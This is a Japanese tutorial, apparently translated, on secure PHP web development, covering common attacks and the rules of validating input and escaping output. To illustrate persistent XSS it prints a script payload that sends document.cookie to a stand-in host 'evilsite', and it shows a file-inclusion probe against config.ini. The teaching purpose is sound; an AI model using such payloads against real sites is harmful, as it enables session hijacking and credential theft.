セキュアな PHP Webアプリを開発する場合のベスト・プラクティス
PHP はセキュリティーに関してはあまり評判が良くありません。本来、PHP 自体がいかにセキュアでないかという話を聞いたことがあります。アマチュアのハッカー軍団が寄せ集めて作った言語で、結果的にその機能のせいで、多くの初心者悪玉ハッカーがキーボードをカチャカチャさせながら、あなたのアプリケーションの奥深くまで簡単に攻撃できるような、暗く虚しいぜい弱性を作り上げてしまっています。
PHP と PHP アプリケーションにぜい弱性があることは私が一番分かっています。しかし、C、Java、.NET、Python、RPG などの言語も同じであることを一番指摘できるのも私でしょう。整理すると、アーキテクチャーを含め「完全にセキュアな」アプリケーションなどというものが存在しないように、「完全なセキュアな」プログラミング言語というものは存在しません。セキュアなアプリケーションとインフラストラクチャーの構築における正しい目標は、完全にセキュアにするということであってはならないのです。正しい目標とは、攻撃者が単に攻撃をあきらめるか捕まるぐらい、アクセスしにくくすることです。我々はいわゆる「現実社会」で生活しているわけですから、完全なセキュリティーは目標になりません。観察眼、お金、監視が無限にある場合にだけ、外部からの攻撃に完全に不死身の、完ぺきなセキュア・システムを作成できます。これのどれもできませんから、完ぺきというのは忘れる必要があります。それこそ、ここで私が言わんとしていることです。それは、アプリケーションの保護に極力役立つ現実的なアドバイスです。
最優先事項: 態度を改める
万が一幸運にも、完全にセキュアなシステムを作成していたとしても、まだ PICNIC (Problem In Chair Not In Computer) という問題が残っています。有名なハッカーである Kevin Mitnick 氏は、彼がアクセスした、つまり少なくともアクセスしたとして起訴されたすべてのシステムについて、パスワードのクラック、ネットワーク監視、その他のシステム侵入関連のツールといった技術的な方法ではなく、ソーシャル・エンジニアリングを通して見つけたパスワードとコードでアクセスしたと主張しています。したがって彼から学ぶことは、アプリケーションのセキュリティーは、単にプログラミング・ルールのセットに従うのではなく、ある習慣を解釈することに関わっているということです。その習慣は、ヘルプ・デスク担当者がユーザーのパスワードのリセットを手伝うときのように、プログラマーがコードを作成している場合も同じです。その習慣とは、常に「どうやったら他人が自分のやることを悪用して、このシステムにアクセスできるだろうか」と問いかけることです。自分への問いかけが必要な理由は、まさにそれこそ攻撃者が自分に問いかけていることだからです。
「それでは、従業員がシステム安全機能を回避する方法を考え出そうとするのではないだろうか」と考えるでしょう。そうです。結構なことではないでしょうか。統計の出典は思い出せませんが、侵入全体の 80% が組織内からであると聞いたことがあります。その数字は、その場で行った統計の数字と一致していると理解していますが、その統計情報を何年も利用し、確かにどこかで見た覚えがあります。多少数パーセントずれていても、その統計は完全に理解できます。あなたのシステムを使用している人は、そのシステムを最も知っている人です。コンピューターが動作しないときに、誰もが駆け込む人がいますよね。その人こそ最大の脅威です。その人はおそらく、「URL の Select ステートメントの一部のようだね」とか「そのフォームの相対パス名のようだね」などと言うでしょう。そして、次にその人が考えるのは「もし、こうしたらどうなるだろう」ということなのです。
こうしたらどうなるか . . .
ほとんどの攻撃者は、破壊といった類のものをしているのではありません。ほとんどは楽しんでいるだけです。URL を操作したり、あるサブネットのポート・スキャナーを実行したりして、だれがオープンなServer Message Block (SMB) 共有を実行しているのか見ようとしているのだと思います。あるいは、Web サーバー上でぜい弱性があるかを確認するスクリプトを実行しているのかもしれません。図 1 は私の今日のログ・ファイルを覗いたものです。さらに別の 200 個の要求についても、このような感じになっています。この人は脅威でしょうか。それほど脅威ではありません。こうした要求の 1 つに 200 個もの戻りコードがあったら、個人レベルでもどうすればいいかわかると思います。しかし、実はそれがポイントではありません。この人はフィッシングをして、自慢できる獲物を探しているのです。
心配しなければならないケースは、あなたの URL を見て、http://www.eschrade.com/?page=home.php を見たときに、「このページの値を /www/config.ini に変えたらどうなるだろう」とつぶやく人なのです。その人はスクリプトを弄ぶわけではなく、Web セキュリティーについて多少知識のある人です。見えないファイル・システムがあることを知っていて、アプリケーションでは設定ファイルが必要なことを理解し、その設定ファイルがどこにあるだろうかと想像している人です。
代表的な攻撃
代表的な攻撃と言われるための厳格なルールはありませんが、経験上、次のような攻撃が最も一般的で最も危険と思われます。
SQL インジェクション SQL
インジェクションを使用すると、データベースに行われた照会を変更できます。主な防御手段は、準備したステートメントを使用し、整数へ制限値をかけることです。SQL インジェクションは極めて危険性が高いものです。
クロス・サイト・スクリプティング (XSS)
XSS を使用すると、ユーザーのブラウザーでコードを実行し、Web サイトにあるユーザーの信用を悪用できます。一般的に XSS の防御は簡単ですが、あらゆる場所に保護を実装するという不断の努力が必要になります。どちらかと言えば、危険な部類に入るでしょう。
クロス・サイト、リクエスト・フォージェリ (XSRF)
XSRF はユーザーの Web サイトの信用を悪用します。Web サイトは、受信された要求をユーザーが送信しようとした要求であると信頼します。例として、サード・パーティー Web サイト上のフォームが、送金のため銀行の Web サイトに送信されている場合があります。一般的に XSRF の実装は難しいのですが、また防御も難しく、極めて危険性が高いと言えます。
ファイルの取り込み
このセキュリティー上の弱点を突く、リモート・コード・インジェクション (簡単に定義) は、おそらくリスト上で唯一 PHP 独自の攻撃の部類に入るでしょう。この攻撃は、依存PHP ファイルを組み込んで、設定ファイルやログなど、実行されないものの表示されてしまうような、他のファイルを組み込むアプリケーションの既存のコードを利用します。防御は簡単ですが、コードの安全が守られない場合、致命的になるおそれがあります。
情報の流布
この攻撃では、思ったより多くの情報が流出してしまいます。単に display_errors をオフにするか、phpinfo() の出力を表示するページをなくすことで、防御できます。
コマンド・インジェクション
このセキュリティー上の弱点を利用して、exec() または他の類似の関数呼び出しからシステム呼び出しへ、データを注入します。そもそも、コード中のシステム呼び出しが異様になっているはずです。このコードを使用していれば、中程度の危険性があると思います。入力引数をフィルタリングして防御できます。
リモート・コード・インジェクション
PHP 5 の初期のバージョンには、リモート・ファイルを組み込むことができる機能が含まれていました。比較的早い段階で、この機能はデフォルトではオフにされました。したがって、(ほとんどありえないとは思いますが) この機能を使用する必要がない限り、危険性はかなり低いでしょう。しかし、この機能にもユーザー提供データに依存する eval() 関数への呼び出しが組み込まれている場合があります。やりたいことをほかの方法でうまくできるため危険性は中程度ですが、この機能を使用するとトラブルの元になるため危険度が低いとは言えません。
セッション・ハイジャック
PHP (およびほとんどの Web 言語) ではセッションの IP アドレスはチェックされません。つまり、ある要求は中国から、次の要求はアフリカから来る可能性があるということです。あなたのサイトの訪問者のセッション ID を取得した攻撃者が、そのブラウザーで、その訪問者になりすますことができます。簡単に悪用できますが、プライベート・データの一般的な知識が必要なため、危険性は中程度です。ただし、サイトが XSS 攻撃に対して脆弱な場合は、この攻撃にも弱い可能性があります。session_regenerate_id() を使用すれば、この危険性は低減できます。
セッションの固定化
セッションの固定化は、ユーザーがセッション ID を含む URL を受信したときに発生します。このセッション ID が攻撃者のコンピューターにある ID と同じ場合、ユーザーはその攻撃者のセッションを引き受けてしまいます。ユーザーが Web サイトにログインしない限り害はなく、その時点で攻撃者のセッションも無効になります。機密性の高いアクティビティーを行う前に session_regenerate_id() を使用すると、この攻撃から身を守ることができます。強制的にクッキーを使用してもこの攻撃に対処できます。URL だけでなく、ブラウザーで JavaScript を攻撃しなくてはならないからです。この攻撃の危険性は中程度です。
クッキー・フォージング
これには、Web サイトでクッキー・データを書き換る XSS 攻撃が必要です。これを防ぐ最適な手段は、セッション ID しか悪用できないようにするため、あらゆる種類の重要データを $_SESSION 変数に格納することです。この防御手段を取れば、この攻撃の危険性は低くなります。
ルール
ルールは単純です。セキュリティーは、あるルールに従うのとは対照的に、考え方を解釈することに関わっているということを前述のポイントで明確にしたように、すべてのものから保護するわけではありません。しかし、PHP セキュリティー保護のほとんどは、最終的には次の 2 つの基本的なルールに落ち着きます。これで「安心」というわけではありませんが、コーディングしながらこれらのルールについて考えることで、破られにくいコードを作成することができるでしょう。そのルールを示します。
- 入力を検証する
- 出力をフィルタリングする
それだけですか? いいえ、でもこれら 2 つのルールに正しく従うだけで、悪用されやすいコードを作成する量を著しく減らすことができます。コンピューターが、自分で自分をハッキングすることは通常ないからです。コンピューター上では、エンド・ユーザーは、プログラマーが意図しなかったやり方でコンピューターと相互作用することを要求されます。最終的には、信頼です。エンド・ユーザーが常にルールにしたがって作業すると信頼できますか。完全に信頼できるとしても、エンド・ユーザーが誤って予期しない動作を引き起こす可能性があるようなことをしないと信頼できますか。
セキュリティーとは悪人を締め出すことではありません。アプリケーションが、どのように相互作用していても、その意図したとおりに確実に動作させることです。
入力を検証する
アプリケーションが確実にその動作をするようにする防御の最前線は、すべてについてアプリケーションに、その入力を検証させることです。電子メール・アドレスを入力するなら、電子メール・アドレスのデータを検証します。年齢を入力しているなら、それが整数であることを検証します。これらの実践は難しい話ではありませんが、本来そうすべきようには十分行われていないことがしばしばです。
これが実施できない理由は、入力を検証するのは面倒だからと考えています。それに見合った働きをするアプリケーションはどれも、多くのデータ相互作用があるでしょう。そうしたデータを正しくフィルタリングするのは単純労働です。しかし、PHP 側では、入力の検証を簡単に行うことができようにするライブラリーがいくつかあります。Zend で、無償でダウンロードできる Zend Framework という、意のままに使用できるフレームワークを開発しました。「意のままに使用できる」とは、フレームワーク内からの多数の依存関係なく、フレームワーク全体やその一部を使用する、あるいはまったく使用しないことを意味します。例えば、データベース・レイヤーを使用する場合、MVC レイヤーを使用する必要はありません。Zend Framework では、Zend_Form という、基本的な脅威から防御しながらユーザーとの相互作用を構築するためのメカニズムをフィルタリング、検証、および提供するコンポーネントを備えています。
Zend_Form は、その相互作用の HTML 全体をレンダリングしながら、フォームを構築し、フィルタリング、検証、エラー・メッセージなどを処理することで知られています。しかしながら、自分の入力データの見せ方を定義するためだけに、度々これを使用したことがありました。すべての固有の入力操作について、Zend_Form を拡張し、自分のバリデーターとフィルターを定義するクラスを作成し、次に自分の全入力配列 ($_GET or $_POST) を渡します。データを取得するには、入力配列ではなく Zend_Form オブジェクトと相互作用します。(これは、どちらかと言えば、従来の PHP アプリケーションを構築していると想定している点に注意してください。MVC ベースのアプリケーションを構築している場合は、データ検証はモデル・レイヤーに属するというのが合意です。)
自分にこう問いかけているでしょう。「これを毎回やるのは大変じゃないだろうか」と。私の回答は「それほどでもない」です。いずれにしても検証する必要がありますが、フォーム・クラスを作成することで、次のことが可能になります。
- 検証コードのエンドレス・ブロックを持たないようにすることで、メインライン PHP コードをより明確にする
- Zend_Form ベース・クラスの init() メソッドの単純な配列定義を通して、データ入力要件を定義する
- 将来的なコード変更を簡単に処理できるようにする検証ルールまたはフィルタリング・ルールを簡単に追加、または削除する
この情報は Zend Framework の宣伝のように聞こえるかもしれませんが、実際には次の 2 つの点を強調しようとしています。
- 受信しようとするデータの性質を定義するのは比較的簡単である。
- 他のユーザーのコードを使用する。私はプライドが高すぎて、他のユーザーがすでにしたことをコピーできなかったため、自分と他人のお金をずいぶん無駄にしました。あなたより Web ベースのセキュリティーをよく知っており、コードやライブラリーを無償提供した人がいます。彼らを利用するのです。
出力をフィルタリングする
アプリケーションの出力をフィルタリングするのは大変です。出力しているデータを意識していなければならないだけでなく、すでに入力したデータも気にかけなければならないためです。誘導された最悪の Web サイト動作の中には、フィルタリングされていない出力によるものがあります。XSS、XSRF、セッション・ハイジャック、その他の攻撃は、正しくフィルタリングされていない出力が原因で実装される可能性があります。
ある種の掲示板システムがあり、そこでユーザーが互いに対話したり、ユーザーが組織内の人と対話したりできるヘルプ・デスクのようなものがあるとします。ヘルプ・デスクのページで、ヘルプ・デスク項目の件名を表示する PHP コードがあるとすれば、次のようなコードになるでしょう。
<input type="text" name="subject"value="<?php echo $subject; ?>">
"貴社の「サービス」"といった件名を考えます。フィルタリングしないと、これは HTML ソースで次のように表示されます。
<input type="text" name="subject"value="貴社の「サービス」">
実際には、件名は次のように表示されることになります。
貴社の
二重引用符により value プロパティーの外にあるデータがエスケープされます。ここで最悪の場合、ページで書式設定がぐちゃぐちゃになる可能性があると考えるでしょう。あなたが間違っているはその点です。実際これは、サイバー犯罪が数々の攻撃を仕掛けようとする入口になります。いったんプロパティーの外に出たら、攻撃者は HTML を操作できるだけでなく、JavaScript、サード・パーティー・リンク、または iframe (別の文書を含むインライン・フレーム) コンテンツなどを注入できます。これは持続的なクロス・サイト・スクリプティングと呼ばれるぜい弱性で、攻撃者は別のユーザーのブラウザーでスクリプトを実行させる目的でサーバーを利用します。というより、ほとんどの場合、悪用します。
クロス・サイト・スクリプティング、特に持続的なクロス・サイト・スクリプティングは、PHP 開発においてはおそらく最も危険性が高い脅威の 1 つでしょう。それ自体は、大きな脅威ではありません。本当に怖いのは、それは通常、他の攻撃を実装できるメカニズムであるという事実です。
件名をさらに変更すると、前述した単純で歪んだレイアウトはさらに見るに堪えないものになるおそれがあります。
Your company's "><script>var img = new Image();
img.src="http://evilsite /?"+ document.cookie; </script><"
このコード片では、持続的クロス・サイト・スクリプティングが使用され、セッション ID をサード・パーティー・サーバーに送信することで、セッション・ハイジャックを実装します。他にも、ファイル取り込み、リモート・コード・インジェクション、およびコマンド・インジェクションなど、クロス・サイト・スクリプティングのぜい弱性を必要としない、さらに危険性が高い攻撃があります。しかし、クロス・サイト・スクリプティングの方が危険性が高いです。というのも、それは実質的にクライアント側の攻撃であるためです。Web サイトのユーザーのトラストを悪用し、それがわかれば比較的簡単に実行されます。したがって、Web サイトに表示されるあらゆる情報を断片レベルで明示的にフィルタリングする必要があります。
「エコー」がある場合は、htmlspecialchars($var) に従って特殊文字を HTML エンティティーに必ず変換する必要があります。「必ず」です。これを常に忘れないようにするのは大変です。たとえ、データ・ソースは通常アプリケーションから来るのだとしても、ある出力を表示させる唯一の方法であるとは限りません。データをページに注入する方法がない限り (つまり、あるデータ片の唯一のソースは、外部変更なく前もって実行されるコード)、htmlspecialchars($var) 関数を使用して、単にすべての文字をエスケープするのが最善の手段です。データベースも無視できません。データベースは、アプリケーション外のソースです。
しかし、はっきりさせておきたいのですが、フィルタリングは必ずしも htmlspecialchars() 関数を使用することを意味しないということを言わせてください。HTML を表示する必要があるフィールドがある場合、この関数を明確には使用できません。HTML と解釈されるすべての特殊文字をエスケープするためです。あるページの出力をよりきめ細かく制御しなければならない場合があります。その場合、ホワイト・リストを使用して表示したい内容を判断する必要があります。言い換えれば、明示的に拒否するのではなく、明示的に許可する必要があるということです。
ホワイト・リストは HTML エレメントをブラック・リストに載せるより効果的です。理由として (a) ブラック・リストは古くならないわけではない 、(b) 毎回悪用できるエレメントを捕まえることはできそうもない、ためです。わかりました、では <script> を許可しません。ただし、onclick、onmouseover、<style>、iframe などはどうしたらよいでしょうか。例えば、ユーザーは <p> および <div> とプロパティー class だけを使用できると言った方がより安全です。このデータは、入力され、表示中にフィルタリングされるときに検証する必要があるでしょう。
つまり勝つ確率を上げること
この中で覚えておきたいことは、だれかが欲しがる、本当に欲しがっているデータがない限り、サイトへの侵入は時間と努力の無駄と思わせるのに、プログラマチック・セキュリティーの基本原則が大きな役割を果たす、ということです。覚えておいてほしいのは、完全なセキュリティー・システムなどというのは存在しないということです。しかし、広く開かれていて、ぜい弱なアプリケーションがあったら、基本を押さえることでぜい弱性を極めて迅速に、著しく減らすことができます。自分のアプリケーションをテストできるよう、しばらく時間をかけて、私が記載しているぜい弱性を利用する方法を学習してください。あなたのアプリケーションがここで説明する一般的な攻撃に対して十分守られており、データをしっかり検証してフィルタリングしているならば、大部分の攻撃者はそのままあなたの元から立ち去るでしょう。